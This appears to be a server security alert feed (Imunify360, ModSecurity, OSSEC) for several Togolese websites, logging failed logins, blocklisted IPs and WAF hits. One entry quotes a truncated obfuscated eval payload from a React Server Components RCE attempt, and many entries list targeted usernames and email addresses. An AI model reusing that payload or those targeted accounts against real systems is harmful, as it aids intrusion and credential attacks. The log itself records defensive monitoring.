name: IM360 WAF: Possible SQL injection attack
abuser: 193.151.190.194
country_id: 6252001
domain: 24heureinfo.tg
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS_NAMES:gt;If you have any issues concerning wherever and how to use ||MV:gt;If you have any issues concerning wherever and how to use ||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-13 16:31:41 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:36410: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.246.95
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-322-milliards-cfa-pour-renforcer-la-securite-nationale/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 162.212.156.59
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:162.212.156.59||TA:162.212.156.59||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 162.212.156.59
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:16-34.162.212.156.59||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jun 13 16:34:34 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.9.1.52
country_id: 1643084
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/presentation HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 172.98.32.226
country_id: 6252001
description:
172.98.32.226 - - [13/Jun/2026:16:37:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13198186&pdata=https%253A%252F%252Fwww.letabloid.tg%252F2026%252F06%252F12%252Fles-patronnes-dentreprises-a-lhonneur%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781368632 HTTP/2.0" 302 0 www.letabloid.tg "https://www.letabloid.tg/2026/06/12/les-patronnes-dentreprises-a-lhonneur/" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.5 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:172.98.32.226


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 16:37:23 +0000] info [cpaneld] 195.3.220.88 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 16:40:09 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.97.152.167
country_id: 3017382
description:
[2026-06-13 16:40:02 +0000] info [whostmgrd] 161.97.152.167 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 161.97.152.167
country_id: 3017382
description:
[2026-06-13 16:40:03 +0000] info [whostmgrd] 161.97.152.167 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.116.9.5
country_id: 2328926
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/7b86f36d139d8581d4b5a4f155ba431c-1680019179-768x432.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/7b86f36d139d8581d4b5a4f155ba431c-1680019179-300x169.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/7b86f36d139d8581d4b5a4f155ba431c-1680019179-1024x576.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/7b86f36d139d8581d4b5a4f155ba431c-1680019179.webp 1248w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.58.33
country_id: 1562822
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/visite-dimmersion-du-cat-a-lasaci-sur-la-digitalisation-des-attestations-dassurances HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 16:43:52 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 171.235.234.156
country_id: 1562822
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/assemblee-generale-ordinaire-et-budgetaire-du-cat-04-mars-2025 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.120
country_id: 1880251
description:
47.128.96.120 - - [13/Jun/2026:16:45:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117165&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fburkina-faso%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781369117 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/burkina-faso/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.120


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.177.169.249
country_id: 290557
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/2024/07/29/un-petrolier-battant-pavillon-togolais-intercepte-en-iran/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.157.76
country_id: 690791
description:
Jun 13 16:47:40 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.157.76 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-13 16:47:32 +0000] info [cpaneld] 45.61.130.187 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 13 16:48:45 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.173
country_id: 1269750
description:
Jun 13 16:50:02 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.173 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.83.235
country_id: 6252001
description:
[2026-06-13 16:50:12 +0000] info [cpaneld] 134.199.83.235 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.167.106.41
country_id: 3469034
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/prubeneficial.tg HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 13 16:49:45 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.224.240
country_id: 1269750
description:
Jun 13 16:49:51 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.224.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.109.166.137
country_id: 3469034
description:
Jun 13 16:50:31 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.109.166.137 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jun 13 16:51:03 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.208.53.163
country_id: 3625428
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/donnee/1 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.166.101.234
country_id: 1282988
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/1003400900.webp 720w, http:/togodailynews.tg/wp-content/uploads/2026/06/1003400900-300x185.webp 300w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 156.0.213.189
country_id: 2395170
domain: vitrinenews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users/me?_locale=user||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jun 13 16:55:41 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 24.232.177.216
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/848760 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.179.240.61
country_id: 1168579
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/seminaire-du-8-mai-2025-le-cat-accompagne-la-mise-en-oeuvre-de-la-nouvelle-convention-collective HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 16:57:08 +0000] info [cpaneld] 195.3.220.88 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: moodle.free.netmaster.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"status\":\"resolved_model\",\"x_4aa27c3a\":\"\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"reason\":-1,\"_response\":{\"_prefix\":\"var fgya=arguments['\\\\x31'];var iibds=fgya;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 16:57:25 +0000] info [cpaneld] 195.3.220.88 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.90.102.45
country_id: 2328926
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/b8a294 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 148.227.75.92
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/05/IMG-20260526-WA0023.jpg-768x1024.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/05/IMG-20260526-WA0023.jpg-225x300.webp 225w, http:/togodailynews.tg/wp-content/uploads/2026/05/IMG-20260526-WA0023.jpg.webp 960w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.160.10
country_id: 6252001
description:
[2026-06-13 16:59:24 +0000] info [cpaneld] 136.227.160.10 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.54.5.235
country_id: 1814991
description:
2026-06-13 17:00:45 dovecot_login authenticator failed for H=([186.239.240.127]) [119.54.5.235]:57956: 535 Incorrect authentication data (set_id=felix.barigao@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.70
country_id: 130758
description:
Jun 13 17:02:18 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.70 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.81.29.253
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/Revolution-verte-300x168.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/Revolution-verte.webp 474w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.175.147.199
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-01-at-19.10.46-225x300.webp 225w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-01-at-19.10.46-768x1024.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-01-at-19.10.46.webp 864w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 17:05:58 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.168.114.73
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160510||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.40.52.227
country_id: 2782113
description:
[2026-06-13 17:05:18 +0000] info [webmaild] 149.40.52.227 - belmonde.zossou@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.11.235.125
country_id: 3658394
description:
[2026-06-13 17:06:29 +0000] info [cpaneld] 45.11.235.125 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.89.72.60
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-08.45.89.72.60||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.68.121
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-09.152.232.68.121||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.154.233
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-08.193.32.154.233||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.219.122.122
country_id: 3608932
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-08.138.219.122.122||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.196.237.138
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-08.168.196.237.138||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.196.239.73
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-09.168.196.239.73||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.219.123.25
country_id: 3608932
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-09.138.219.123.25||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.65.212
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-08.152.232.65.212||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.89.75.24
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-08.45.89.75.24||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 190.185.108.156
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-08.190.185.108.156||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.153.154
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-09.193.32.153.154||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.155.121
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-08.193.32.155.121||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.74.118
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-09.152.232.74.118||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.88.25.228
country_id: 6252001
description:
[2026-06-13 17:09:53 +0000] info [webmaild] 149.88.25.228 - m.semdatcha@ccit.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.161.105.6
country_id: 1210997
description:
103.161.105.6 - - [13/Jun/2026:17:09:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6670229&pdata=https%253A%252F%252Ftogodailynews.tg%252Fsante-le-togo-reduit-la-mortalite-maternelle-et-neonatale%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781370586 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/sante-le-togo-reduit-la-mortalite-maternelle-et-neonatale/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.8357.1931 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.161.105.6


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 168.196.239.162
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:168.196.239.162||TA:168.196.239.162||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 139.99.248.110
country_id: 2077456
description:
[2026-06-13 17:11:22 +0000] info [webmaild] 139.99.248.110 - knyatso@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.117
country_id: 1880251
description:
47.128.122.117 - - [13/Jun/2026:17:11:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9553310&pdata=https%253A%252F%252Ftogodailynews.tg%252Fnord-du-togo-les-retombees-dun-programme-salvateur-sur-la-vie-des-populations%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781370698 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/nord-du-togo-les-retombees-dun-programme-salvateur-sur-la-vie-des-populations/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.117


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.231.130
country_id: 2017370
description:
[2026-06-13 17:14:33 +0000] info [cpaneld] 146.70.231.130 - tresorerie "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tresorerie (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.156.7.76
country_id: 2921044
description:
2026-06-13 17:16:01 dovecot_plain authenticator failed for H=ec2-35-156-7-76.eu-central-1.compute.amazonaws.com (o3k3eo1kdz1gmjyu9pgd) [35.156.7.76]:47478: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.71.110.74
country_id: 3658394
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/fonds-vert-togo-un-outil-strategique-pour-la-resilience-climatique/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.71.110.74
country_id: 3658394
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/fonds-vert-togo-un-outil-strategique-pour-la-resilience-climatique/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.231.130
country_id: 2017370
description:
[2026-06-13 17:17:29 +0000] info [cpaneld] 146.70.231.130 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.130.87.4
country_id: 2661886
description:
[2026-06-13 17:18:33 +0000] info [webmaild] 45.130.87.4 - eolanlo@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 17:18:53 +0000] info [whostmgrd] 195.3.220.88 - anadebfreenetmas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 17:21:54 +0000] info [whostmgrd] 195.3.220.88 - radiotogocomtg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.32
country_id: 3175395
description:
Jun 13 17:21:27 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.32 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.231.130
country_id: 2017370
description:
[2026-06-13 17:21:58 +0000] info [cpaneld] 146.70.231.130 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 17:23:43 +0000] info [whostmgrd] 195.3.220.88 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.188.95.19
country_id: 294640
description:
[2026-06-13 17:24:18 +0000] info [webmaild] 5.188.95.19 - mointie@emt.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.231.130
country_id: 2017370
description:
[2026-06-13 17:25:05 +0000] info [cpaneld] 146.70.231.130 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 13 17:29:03 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.231.130
country_id: 2017370
description:
[2026-06-13 17:30:46 +0000] info [cpaneld] 146.70.231.130 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 17:31:22 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.231.130
country_id: 2017370
description:
[2026-06-13 17:31:25 +0000] info [cpaneld] 146.70.231.130 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.8.104
country_id: 6252001
description:
[2026-06-13 17:31:55 +0000] info [webmaild] 195.63.8.104 - sergdev@dgdn-togo.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.231.130
country_id: 2017370
description:
[2026-06-13 17:35:57 +0000] info [cpaneld] 146.70.231.130 - tresorerie "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tresorerie (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.44.197.37
country_id: 6251999
description:
